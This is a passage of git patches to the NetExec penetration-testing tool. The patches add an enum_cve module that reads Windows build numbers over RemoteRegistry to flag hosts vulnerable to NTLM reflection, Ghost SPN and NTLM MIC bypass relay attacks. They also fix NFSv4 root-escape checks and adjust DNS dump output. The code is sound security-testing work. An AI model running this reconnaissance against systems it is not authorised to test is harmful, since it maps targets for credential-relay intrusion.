"STATUS_STOPPED_ON_SYMLINK" in str(e): + self.logger.debug(f"The folder {subfolder} is a symlink that cannot be followed. Skipping.") elif self.reconnect(): filelist = self.list_path(share, subfolder) except NetBIOSTimeout as e: From 543a5b3611ac5c94aad82c22841d273a36165304 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 11 Mar 2026 17:24:07 -0400 Subject: [PATCH 043/165] Fix nfs for nfs4 only servers --- nxc/protocols/nfs.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index eb5a14069b..4a564ecf54 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -84,7 +84,7 @@ def __init__(self, args, db, host): "gid": 0, "aux_gid": [], } - self.root_escape = False + self.root_escape = None # If root escape is possible, the escape_share and escape_fh will be populated self.escape_share = None self.escape_fh = b"" @@ -137,7 +137,10 @@ def enum_host_info(self): self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() # Check if root escape is possible - self.root_escape = self.try_root_escape() + if NFS_V3 in self.nfs_versions: + self.root_escape = self.try_root_escape() + else: + self.logger.debug("NFSv3 not supported, skipping root escape check") self.nfs3.disconnect() def print_host_info(self): From d161db28f9b556e0925f07c46feeb65302aad1d4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 12 Mar 2026 03:13:10 -0400 Subject: [PATCH 044/165] Deprecate ntlm_reflection module --- nxc/modules/ntlm_reflection.py | 122 +++++---------------------------- 1 file changed, 16 insertions(+), 106 deletions(-) diff --git a/nxc/modules/ntlm_reflection.py b/nxc/modules/ntlm_reflection.py index 15e397cc71..a80f2229d3 100644 --- a/nxc/modules/ntlm_reflection.py +++ b/nxc/modules/ntlm_reflection.py @@ -6,27 +6,19 @@ class NXCModule: - """ - Module by polair: @p0l4ir - Initial module: - https://github.com/Pennyw0rth/NetExec/pull/1086 - """ - + # https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 + # Modified by azoxlpf to handle BrokenPipe/transport errors gracefully + # Modified by Defte following the discovery of ctjf (https://github.com/Pennyw0rth/NetExec/issues/928) and the research done along side with @NeffIsBack and I name = "ntlm_reflection" - description = "Module to check whether the target is vulnerable to any CVE that relies on NTLM reflection." + description = "Attempt to check if the OS is vulnerable to CVE-2025-33073 (NTLM Reflection attack)" supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True category = CATEGORY.ENUMERATION - # https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 - # Modified by azoxlpf to handle BrokenPipe/transport errors gracefully - # Modified by Defte following the discovery of ctjf (https://github.com/Pennyw0rth/NetExec/issues/928) and the research done along side with @NeffIsBack and I - # Thanks to @YOLOP0wn for ghostspn https://github.com/Pennyw0rth/NetExec/pull/978 - # Reference table from MSRC report # https://msrc.microsoft.com/update-guide/fr-FRS/vulnerability/CVE-2025-33073 - MSRC_PATCHES_ntlm_reflection = { # key = (major, minor, build), value = minimum patched UBR + MSRC_PATCHES = { # key = (major, minor, build), value = minimum patched UBR (6, 0, 6003): 23351, # Windows Server 2008 SP2 (6, 1, 7601): 27769, # Windows Server 2008 R2 SP1 (6, 2, 9200): 25522, # Windows Server 2012 @@ -38,59 +30,16 @@ class NXCModule: (10, 0, 22621): 5472, # Windows 11 22H2 } - # Reference table from MSRC report - # https://msrc.microsoft.com/update-guide/fr-FRS/vulnerability/CVE-2025-58726 - # Thanks to @YOLOP0wn https://github.com/Pennyw0rth/NetExec/pull/978 - MSRC_PATCHES_ghostspn = { # key = (major, minor, build), value = minimum patched UBR - (6, 1, 7601): 23571, # Windows Server 2008 SP2 - (6, 1, 7601): 27974, # Windows Server 2008 R2 SP1 - (6, 2, 9200): 25722, # Windows Server 2012 - (6, 3, 9600): 22824, # Windows Server 2012 R2 - (10, 0, 14393): 8519, # Windows Server 2016 - (10, 0, 17763): 7919, # Windows Server 2019 / Win10 1809 - (10, 0, 20348): 4294, # Windows Server 2022 - (10, 0, 19044): 6456, # Windows 10 21H2 - (10, 0, 22621): 6060, # Windows 11 22H2 - } - - # Reference table from MSRC report - # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918 - MSRC_PATCHES_ntlm_mic_bypass = { # key = (major, minor, build), value = minimum patched UBR - (6, 0, 6003): 23529, # Windows Server 2008 SP2 - (6, 1, 7601): 27929, # Windows Server 2008 R2 SP1 - (6, 2, 9200): 25675, # Windows Server 2012 - (6, 3, 9600): 22774, # Windows Server 2012 R2 - (10, 0, 10240): 21128, # Windows 10 1507 - (10, 0, 14393): 8422, # Windows Server 2016 - (10, 0, 17763): 7792, # Windows Server 2019 / Win10 1809 - (10, 0, 19044): 6332, # Windows 10 21H2 - (10, 0, 20348): 4171, # Windows Server 2022 - (10, 0, 22621): 5909, # Windows 11 22H2 - (10, 0, 22631): 5909, # Windows 11 23H2 - (10, 0, 26100): 6584, # Windows Server 2025 - } - - - - - def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options - self.cve = "all" def options(self, context, module_options): - """ - CVE CVE recon (CVE-2025-33073, CVE‑2025‑54918, CVE-2025-58726, All default: All) - """ - self.listener = None - if "CVE" in module_options: - self.cve = module_options["CVE"].lower() - + """No options available""" - def is_vulnerable(self, major, minor, build, ubr,msrc): + def is_vulnerable(self, major, minor, build, ubr): key = (major, minor, build) - min_patched_ubr = msrc.get(key) + min_patched_ubr = self.MSRC_PATCHES.get(key) if min_patched_ubr is None: return None # Unknown product if ubr is None: @@ -98,8 +47,8 @@ def is_vulnerable(self, major, minor, build, ubr,msrc): return ubr < min_patched_ubr def on_login(self, context, connection): - - + context.log.fail("[REMOVED] This module has been integrated into the enum_cve module.") + return self.context = context self.connection = connection connection.trigger_winreg() @@ -122,55 +71,16 @@ def on_login(self, context, connection): if not version_str: self.context.log.info("Could not determine OS version from registry") return - - + vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr) + if vuln: + if not connection.conn.isSigningRequired(): # Not vulnerable if SMB signing is enabled + context.log.highlight(f"VULNERABLE (can relay SMB to any protocol on {self.context.log.extra['host']})") + else: + context.log.highlight(f"VULNERABLE (can relay SMB to other protocols except SMB on {self.context.log.extra['host']})") except SessionError as e: if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): self.context.log.info(f"RemoteRegistry is probably deactivated: {e}") else: self.context.log.debug(f"Unexpected error: {e}") - return except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e: context.log.debug(f"ntlm_reflection: DCERPC transport error: {e.__class__.__name__}: {e}") - return - - - - if self.cve == "all" or self.cve == "ntlm_reflection": # CVE-2025-33073 - """NTLM REFLECTION START""" - - vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.MSRC_PATCHES_ntlm_reflection) - if vuln: - context.log.highlight("VULNERABLE, NTLM REFLECTION") - if not connection.conn.isSigningRequired(): # Not vulnerable if SMB signing is enabled - context.log.highlight(f"(can relay SMB to any protocol on {self.context.log.extra['host']})") - else: - context.log.highlight(f"(can relay SMB to other protocols except SMB on {self.context.log.extra['host']})") - - """NTLM REFLECTION END""" - - if self.cve == "all" or self.cve == "ghostspn": # CVE‑2025‑54918 - """GHOSTSPN START""" - - vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.MSRC_PATCHES_ghostspn) - if vuln: - context.log.highlight("VULNERABLE, GhostSPN") - if not connection.conn.isSigningRequired(): # Not vulnerable if SMB signing is enabled - context.log.highlight(f"(can relay SMB using Ghost SPN for Kerberos reflection on {self.context.log.extra['host']})") - else: - context.log.highlight(f"(can relay SMB using Ghost SPN (non HOST/CIFS) for Kerberos reflection to other protocols except SMB on {self.context.log.extra['host']})") - - """GHOSTSPN END""" - - if self.cve == "all" or self.cve == "ntlm_mic_bypass": # CVE-2025-58726 - """ NTLM MIC BYPASS START""" - - vuln_ntlm_reflection = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.MSRC_PATCHES_ntlm_reflection) - vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.MSRC_PATCHES_ntlm_mic_bypass) - if vuln_ntlm_reflection and vuln: - context.log.highlight(f"VULNERABLE, NTLM MIC BYPASS \n(can relay SMB to other protocols except SMB on {self.context.log.extra['host']})") - elif vuln and connection.server_os_build >= 22621: # Windows 11 22H2+ and Windows Server 2025 - context.log.highlight(f"VULNERABLE, NTLM MIC BYPASS \n(can relay SMB to any protocol on {self.context.log.extra['host']}) — coercion works only via DCE/RPC over TCP (no named pipes)") - - """ NTLM MIC BYPASS END""" - From ac735513f619e61783c8d713e7a69fadc2dbc820 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 12 Mar 2026 03:19:23 -0400 Subject: [PATCH 045/165] Initial enum_cve module --- nxc/modules/enum_cve.py | 158 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 158 insertions(+) create mode 100644 nxc/modules/enum_cve.py diff --git a/nxc/modules/enum_cve.py b/nxc/modules/enum_cve.py new file mode 100644 index 0000000000..31dcbbead9 --- /dev/null +++ b/nxc/modules/enum_cve.py @@ -0,0 +1,158 @@ +from impacket.dcerpc.v5 import transport, rrp +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE +from impacket.smbconnection import SessionError +from nxc.helpers.misc import CATEGORY +from impacket.nmb import NetBIOSError + + +class NXCModule: + """Initial module by: Mauriceter""" + name = "enum_cve" + description = "Enumerate common (useful) CVEs by querying the registry for the OS version and UBR." + supported_protocols = ["smb"] + category = CATEGORY.ENUMERATION + + + + # Reference table from MSRC report + # https://msrc.microsoft.com/update-guide/fr-FRS/vulnerability/CVE-2025-33073 + # https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 + MSRC_PATCHES_ntlm_reflection = { # key = (major, minor, build), value = minimum patched UBR + (6, 0, 6003): 23351, # Windows Server 2008 SP2 + (6, 1, 7601): 27769, # Windows Server 2008 R2 SP1 + (6, 2, 9200): 25522, # Windows Server 2012 + (6, 3, 9600): 22620, # Windows Server 2012 R2 + (10, 0, 14393): 8148, # Windows Server 2016 + (10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809 + (10, 0, 20348): 3807, # Windows Server 2022 + (10, 0, 19044): 5965, # Windows 10 21H2 + (10, 0, 22621): 5472, # Windows 11 22H2 + } + + # Reference table from MSRC report + # https://msrc.microsoft.com/update-guide/fr-FRS/vulnerability/CVE-2025-58726 + # Thanks to @YOLOP0wn https://github.com/Pennyw0rth/NetExec/pull/978 + MSRC_PATCHES_ghostspn = { # key = (major, minor, build), value = minimum patched UBR + (6, 1, 7601): 23571, # Windows Server 2008 SP2 + (6, 1, 7601): 27974, # Windows Server 2008 R2 SP1 + (6, 2, 9200): 25722, # Windows Server 2012 + (6, 3, 9600): 22824, # Windows Server 2012 R2 + (10, 0, 14393): 8519, # Windows Server 2016 + (10, 0, 17763): 7919, # Windows Server 2019 / Win10 1809 + (10, 0, 20348): 4294, # Windows Server 2022 + (10, 0, 19044): 6456, # Windows 10 21H2 + (10, 0, 22621): 6060, # Windows 11 22H2 + } + + # Reference table from MSRC report + # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918 + MSRC_PATCHES_ntlm_mic_bypass = { # key = (major, minor, build), value = minimum patched UBR + (6, 0, 6003): 23529, # Windows Server 2008 SP2 + (6, 1, 7601): 27929, # Windows Server 2008 R2 SP1 + (6, 2, 9200): 25675, # Windows Server 2012 + (6, 3, 9600): 22774, # Windows Server 2012 R2 + (10, 0, 10240): 21128, # Windows 10 1507 + (10, 0, 14393): 8422, # Windows Server 2016 + (10, 0, 17763): 7792, # Windows Server 2019 / Win10 1809 + (10, 0, 19044): 6332, # Windows 10 21H2 + (10, 0, 20348): 4171, # Windows Server 2022 + (10, 0, 22621): 5909, # Windows 11 22H2 + (10, 0, 22631): 5909, # Windows 11 23H2 + (10, 0, 26100): 6584, # Windows Server 2025 + } + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.cve = "all" + + def options(self, context, module_options): + """ + CVE CVE recon (CVE-2025-33073, CVE‑2025‑54918, CVE-2025-58726, All default: All) + """ + self.listener = None + if "CVE" in module_options: + self.cve = module_options["CVE"].lower() + + def is_vulnerable(self, major, minor, build, ubr, msrc): + key = (major, minor, build) + min_patched_ubr = msrc.get(key) + if min_patched_ubr is None: + return None # Unknown product + if ubr is None: + return None + return ubr < min_patched_ubr + + def on_login(self, context, connection): + self.context = context + self.connection = connection + + connection.trigger_winreg() + rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]") + rpc.set_smb_connection(connection.conn) + if connection.kerberos: + rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) + dce = rpc.get_dce_rpc() + if connection.kerberos: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + try: + dce.connect() + dce.bind(rrp.MSRPC_UUID_RRP) + # Reading UBR from registry + hRootKey = rrp.hOpenLocalMachine(dce)["phKey"] + hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"] + ubr = rrp.hBaseRegQueryValue(dce, hKey, "UBR")[1] + version_str = f"{connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}" if ubr else None + dce.disconnect() + if not version_str: + self.context.log.info("Could not determine OS version from registry") + return + + except SessionError as e: + if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): + self.context.log.info(f"RemoteRegistry is probably deactivated: {e}") + else: + self.context.log.debug(f"Unexpected error: {e}") + return + except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e: + context.log.debug(f"ntlm_reflection: DCERPC transport error: {e.__class__.__name__}: {e}") + return + + if self.cve == "all" or self.cve == "ntlm_reflection": # CVE-2025-33073 + """NTLM REFLECTION START""" + + vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.MSRC_PATCHES_ntlm_reflection) + if vuln: + context.log.highlight("VULNERABLE, NTLM REFLECTION") + if not connection.conn.isSigningRequired(): # Not vulnerable if SMB signing is enabled + context.log.highlight(f"(can relay SMB to any protocol on {self.context.log.extra['host']})") + else: + context.log.highlight(f"(can relay SMB to other protocols except SMB on {self.context.log.extra['host']})") + + """NTLM REFLECTION END""" + + if self.cve == "all" or self.cve == "ghostspn": # CVE‑2025‑54918 + """GHOSTSPN START""" + + vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.MSRC_PATCHES_ghostspn) + if vuln: + context.log.highlight("VULNERABLE, GhostSPN") + if not connection.conn.isSigningRequired(): # Not vulnerable if SMB signing is enabled + context.log.highlight(f"(can relay SMB using Ghost SPN for Kerberos reflection on {self.context.log.extra['host']})") + else: + context.log.highlight(f"(can relay SMB using Ghost SPN (non HOST/CIFS) for Kerberos reflection to other protocols except SMB on {self.context.log.extra['host']})") + + """GHOSTSPN END""" + + if self.cve == "all" or self.cve == "ntlm_mic_bypass": # CVE-2025-58726 + """ NTLM MIC BYPASS START""" + + vuln_ntlm_reflection = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.MSRC_PATCHES_ntlm_reflection) + vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.MSRC_PATCHES_ntlm_mic_bypass) + if vuln_ntlm_reflection and vuln: + context.log.highlight(f"VULNERABLE, NTLM MIC BYPASS \n(can relay SMB to other protocols except SMB on {self.context.log.extra['host']})") + elif vuln and connection.server_os_build >= 22621: # Windows 11 22H2+ and Windows Server 2025 + context.log.highlight(f"VULNERABLE, NTLM MIC BYPASS \n(can relay SMB to any protocol on {self.context.log.extra['host']}) — coercion works only via DCE/RPC over TCP (no named pipes)") + + """ NTLM MIC BYPASS END""" + From 3d7ae498544a44f50ee80c3ade6e7a12254e07dc Mon Sep 17 00:00:00 2001 From: gatari Date: Thu, 12 Mar 2026 15:27:28 +0800 Subject: [PATCH 046/165] Update log output to use zone instead of domain Signed-off-by: gatari --- nxc/modules/get-network.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/get-network.py b/nxc/modules/get-network.py index e095eb42b8..6a753eda2f 100644 --- a/nxc/modules/get-network.py +++ b/nxc/modules/get-network.py @@ -157,9 +157,9 @@ def on_login(self, context, connection): with codecs.open(path, "w", "utf-8") as outfile: for row in outdata: if self.showhosts: - outfile.write(f"{row['name'] + '.' + connection.domain}\n") + outfile.write(f"{row['name'] + '.' + zone}\n") elif self.showall: - outfile.write(f"{row['name'] + '.' + connection.domain} \t {row['value']}\n") + outfile.write(f"{row['name'] + '.' + zone} \t {row['value']}\n") else: outfile.write(f"{row['value']}\n") context.log.success(f"Dumped {len(outdata)} records to {path}") From 77b1efe95d48e43e30ff3420c60eb214811bedb8 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 12 Mar 2026 03:52:59 -0400 Subject: [PATCH 047/165] Module description and formatting --- nxc/modules/enum_cve.py | 67 +++++++++-------------------------------- 1 file changed, 15 insertions(+), 52 deletions(-) diff --git a/nxc/modules/enum_cve.py b/nxc/modules/enum_cve.py index 31dcbbead9..75b5dd68e2 100644 --- a/nxc/modules/enum_cve.py +++ b/nxc/modules/enum_cve.py @@ -6,69 +6,32 @@ class NXCModule: - """Initial module by: Mauriceter""" + """ + Initial module by: Mauriceter + Additional authors: azoxlpf, Defte, YOLOP0wn, pol4ir, NeffIsBack + """ name = "enum_cve" description = "Enumerate common (useful) CVEs by querying the registry for the OS version and UBR." supported_protocols = ["smb"] category = CATEGORY.ENUMERATION - - - # Reference table from MSRC report - # https://msrc.microsoft.com/update-guide/fr-FRS/vulnerability/CVE-2025-33073 - # https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 - MSRC_PATCHES_ntlm_reflection = { # key = (major, minor, build), value = minimum patched UBR - (6, 0, 6003): 23351, # Windows Server 2008 SP2 - (6, 1, 7601): 27769, # Windows Server 2008 R2 SP1 - (6, 2, 9200): 25522, # Windows Server 2012 - (6, 3, 9600): 22620, # Windows Server 2012 R2 - (10, 0, 14393): 8148, # Windows Server 2016 - (10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809 - (10, 0, 20348): 3807, # Windows Server 2022 - (10, 0, 19044): 5965, # Windows 10 21H2 - (10, 0, 22621): 5472, # Windows 11 22H2 - } - - # Reference table from MSRC report - # https://msrc.microsoft.com/update-guide/fr-FRS/vulnerability/CVE-2025-58726 - # Thanks to @YOLOP0wn https://github.com/Pennyw0rth/NetExec/pull/978 - MSRC_PATCHES_ghostspn = { # key = (major, minor, build), value = minimum patched UBR - (6, 1, 7601): 23571, # Windows Server 2008 SP2 - (6, 1, 7601): 27974, # Windows Server 2008 R2 SP1 - (6, 2, 9200): 25722, # Windows Server 2012 - (6, 3, 9600): 22824, # Windows Server 2012 R2 - (10, 0, 14393): 8519, # Windows Server 2016 - (10, 0, 17763): 7919, # Windows Server 2019 / Win10 1809 - (10, 0, 20348): 4294, # Windows Server 2022 - (10, 0, 19044): 6456, # Windows 10 21H2 - (10, 0, 22621): 6060, # Windows 11 22H2 - } - - # Reference table from MSRC report - # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918 - MSRC_PATCHES_ntlm_mic_bypass = { # key = (major, minor, build), value = minimum patched UBR - (6, 0, 6003): 23529, # Windows Server 2008 SP2 - (6, 1, 7601): 27929, # Windows Server 2008 R2 SP1 - (6, 2, 9200): 25675, # Windows Server 2012 - (6, 3, 9600): 22774, # Windows Server 2012 R2 - (10, 0, 10240): 21128, # Windows 10 1507 - (10, 0, 14393): 8422, # Windows Server 2016 - (10, 0, 17763): 7792, # Windows Server 2019 / Win10 1809 - (10, 0, 19044): 6332, # Windows 10 21H2 - (10, 0, 20348): 4171, # Windows Server 2022 - (10, 0, 22621): 5909, # Windows 11 22H2 - (10, 0, 22631): 5909, # Windows 11 23H2 - (10, 0, 26100): 6584, # Windows Server 2025 - } - def __init__(self, context=None, module_options=None): - self.context = context + context = context self.module_options = module_options self.cve = "all" def options(self, context, module_options): """ - CVE CVE recon (CVE-2025-33073, CVE‑2025‑54918, CVE-2025-58726, All default: All) + Be aware that these checks solely rely on the OS version and UBR reported in the registry, + and do not check for the actual presence of the vulnerable components or mitigations. + Test the attack yourself to verify the host is actually vulnerable. + + Currently supported CVEs: + - CVE-2025-33073 (NTLM Reflection) + - CVE-2025-58726 (Ghost SPN) + - CVE-2025-54918 (NTLM MIC Bypass) + + CVE Filter for specific CVE number (default: All) """ self.listener = None if "CVE" in module_options: From 65a738905805ad3e51924b9731db385f70444670 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 12 Mar 2026 03:53:24 -0400 Subject: [PATCH 048/165] Formatting --- nxc/modules/enum_cve.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/nxc/modules/enum_cve.py b/nxc/modules/enum_cve.py index 75b5dd68e2..5577c77840 100644 --- a/nxc/modules/enum_cve.py +++ b/nxc/modules/enum_cve.py @@ -47,10 +47,9 @@ def is_vulnerable(self, major, minor, build, ubr, msrc): return ubr < min_patched_ubr def on_login(self, context, connection): - self.context = context - self.connection = connection - connection.trigger_winreg() + + # Connect to RemoteRegistry to read UBR from registry rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]") rpc.set_smb_connection(connection.conn) if connection.kerberos: @@ -58,6 +57,8 @@ def on_login(self, context, connection): dce = rpc.get_dce_rpc() if connection.kerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + + # Query the UBR try: dce.connect() dce.bind(rrp.MSRPC_UUID_RRP) From 3dbef634b4d8b2c904b96d6adccb9b7bc9d6e788 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 12 Mar 2026 03:53:43 -0400 Subject: [PATCH 049/165] Add CVE dict and logic for enumeration --- nxc/modules/enum_cve.py | 124 ++++++++++++++++++++++++++-------------- 1 file changed, 80 insertions(+), 44 deletions(-) diff --git a/nxc/modules/enum_cve.py b/nxc/modules/enum_cve.py index 5577c77840..ac597fde4b 100644 --- a/nxc/modules/enum_cve.py +++ b/nxc/modules/enum_cve.py @@ -66,57 +66,93 @@ def on_login(self, context, connection): hRootKey = rrp.hOpenLocalMachine(dce)["phKey"] hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"] ubr = rrp.hBaseRegQueryValue(dce, hKey, "UBR")[1] - version_str = f"{connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}" if ubr else None dce.disconnect() - if not version_str: - self.context.log.info("Could not determine OS version from registry") + if not ubr: + context.log.info("Could not determine OS version from registry") return - + else: + context.log.debug(f"OS version from registry: {connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}") except SessionError as e: if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): - self.context.log.info(f"RemoteRegistry is probably deactivated: {e}") + context.log.info(f"RemoteRegistry is probably deactivated: {e}") else: - self.context.log.debug(f"Unexpected error: {e}") + context.log.fail(f"Unexpected error: {e}") return except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e: - context.log.debug(f"ntlm_reflection: DCERPC transport error: {e.__class__.__name__}: {e}") + context.log.fail(f"DCERPC transport error: {e.__class__.__name__}: {e}") return - if self.cve == "all" or self.cve == "ntlm_reflection": # CVE-2025-33073 - """NTLM REFLECTION START""" - - vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.MSRC_PATCHES_ntlm_reflection) - if vuln: - context.log.highlight("VULNERABLE, NTLM REFLECTION") - if not connection.conn.isSigningRequired(): # Not vulnerable if SMB signing is enabled - context.log.highlight(f"(can relay SMB to any protocol on {self.context.log.extra['host']})") - else: - context.log.highlight(f"(can relay SMB to other protocols except SMB on {self.context.log.extra['host']})") - - """NTLM REFLECTION END""" - - if self.cve == "all" or self.cve == "ghostspn": # CVE‑2025‑54918 - """GHOSTSPN START""" - - vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.MSRC_PATCHES_ghostspn) - if vuln: - context.log.highlight("VULNERABLE, GhostSPN") - if not connection.conn.isSigningRequired(): # Not vulnerable if SMB signing is enabled - context.log.highlight(f"(can relay SMB using Ghost SPN for Kerberos reflection on {self.context.log.extra['host']})") + # Check each CVE + for cve in self.CVE_PATCHES: + if self.cve == "all" or self.cve.lower() == cve.lower(): + message = self.CVE_PATCHES[cve]["message"] + signing_message = self.CVE_PATCHES[cve]["signing_message"] + + vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.CVE_PATCHES[cve]["patches"]) + if vuln: + if connection.conn.isSigningRequired(): # Special conditional message for some CVEs + context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {signing_message}") + else: + context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {message}") else: - context.log.highlight(f"(can relay SMB using Ghost SPN (non HOST/CIFS) for Kerberos reflection to other protocols except SMB on {self.context.log.extra['host']})") - - """GHOSTSPN END""" - - if self.cve == "all" or self.cve == "ntlm_mic_bypass": # CVE-2025-58726 - """ NTLM MIC BYPASS START""" - - vuln_ntlm_reflection = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.MSRC_PATCHES_ntlm_reflection) - vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.MSRC_PATCHES_ntlm_mic_bypass) - if vuln_ntlm_reflection and vuln: - context.log.highlight(f"VULNERABLE, NTLM MIC BYPASS \n(can relay SMB to other protocols except SMB on {self.context.log.extra['host']})") - elif vuln and connection.server_os_build >= 22621: # Windows 11 22H2+ and Windows Server 2025 - context.log.highlight(f"VULNERABLE, NTLM MIC BYPASS \n(can relay SMB to any protocol on {self.context.log.extra['host']}) — coercion works only via DCE/RPC over TCP (no named pipes)") - - """ NTLM MIC BYPASS END""" - + context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR >= {self.CVE_PATCHES[cve]['patches'].get((connection.server_os_major, connection.server_os_minor, connection.server_os_build), 'unknown')})") + + # patches: key = (major, minor, build), value = minimum patched UBR + CVE_PATCHES = { + # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073 + # https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 + "CVE-2025-33073": { + "alias": "NTLM reflection", + "patches": { + (6, 0, 6003): 23351, # Windows Server 2008 SP2 + (6, 1, 7601): 27769, # Windows Server 2008 R2 SP1 + (6, 2, 9200): 25522, # Windows Server 2012 + (6, 3, 9600): 22620, # Windows Server 2012 R2 + (10, 0, 14393): 8148, # Windows Server 2016 + (10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809 + (10, 0, 20348): 3807, # Windows Server 2022 + (10, 0, 19044): 5965, # Windows 10 21H2 + (10, 0, 22621): 5472, # Windows 11 22H2 + }, + "message": "can relay SMB to any protocol", + "signing_message": "can relay SMB to other protocols except SMB", + }, + # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-58726 + "CVE-2025-58726": { + "alias": "Ghost SPN", + "patches": { + (6, 1, 7601): 23571, # Windows Server 2008 SP2 + (6, 1, 7601): 27974, # Windows Server 2008 R2 SP1 + (6, 2, 9200): 25722, # Windows Server 2012 + (6, 3, 9600): 22824, # Windows Server 2012 R2 + (10, 0, 14393): 8519, # Windows Server 2016 + (10, 0, 17763): 7919, # Windows Server 2019 / Win10 1809 + (10, 0, 20348): 4294, # Windows Server 2022 + (10, 0, 19044): 6456, # Windows 10 21H2 + (10, 0, 22621): 6060, # Windows 11 22H2 + }, + "message": "can relay SMB using Ghost SPN for Kerberos reflection", + "signing_message": "can relay SMB using Ghost SPN (non HOST/CIFS) for Kerberos reflection to other protocols except SMB", + }, + + # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918 + "CVE-2025-54918": { + "alias": "NTLM MIC Bypass", + "patches": { + (6, 0, 6003): 23529, # Windows Server 2008 SP2 + (6, 1, 7601): 27929, # Windows Server 2008 R2 SP1 + (6, 2, 9200): 25675, # Windows Server 2012 + (6, 3, 9600): 22774, # Windows Server 2012 R2 + (10, 0, 10240): 21128, # Windows 10 1507 + (10, 0, 14393): 8422, # Windows Server 2016 + (10, 0, 17763): 7792, # Windows Server 2019 / Win10 1809 + (10, 0, 19044): 6332, # Windows 10 21H2 + (10, 0, 20348): 4171, # Windows Server 2022 + (10, 0, 22621): 5909, # Windows 11 22H2 + (10, 0, 22631): 5909, # Windows 11 23H2 + (10, 0, 26100): 6584, # Windows Server 2025 + }, + "message": "can relay SMB to other protocols except SMB", + "signing_message": "can relay SMB to any protocol (coercion works only via DCE/RPC over TCP — no named pipes)", + } + } From f61bf5a7d04fa1e5221866ea42f9d486a326be9c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 12 Mar 2026 04:02:15 -0400 Subject: [PATCH 050/165] Improve messages --- nxc/modules/enum_cve.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git 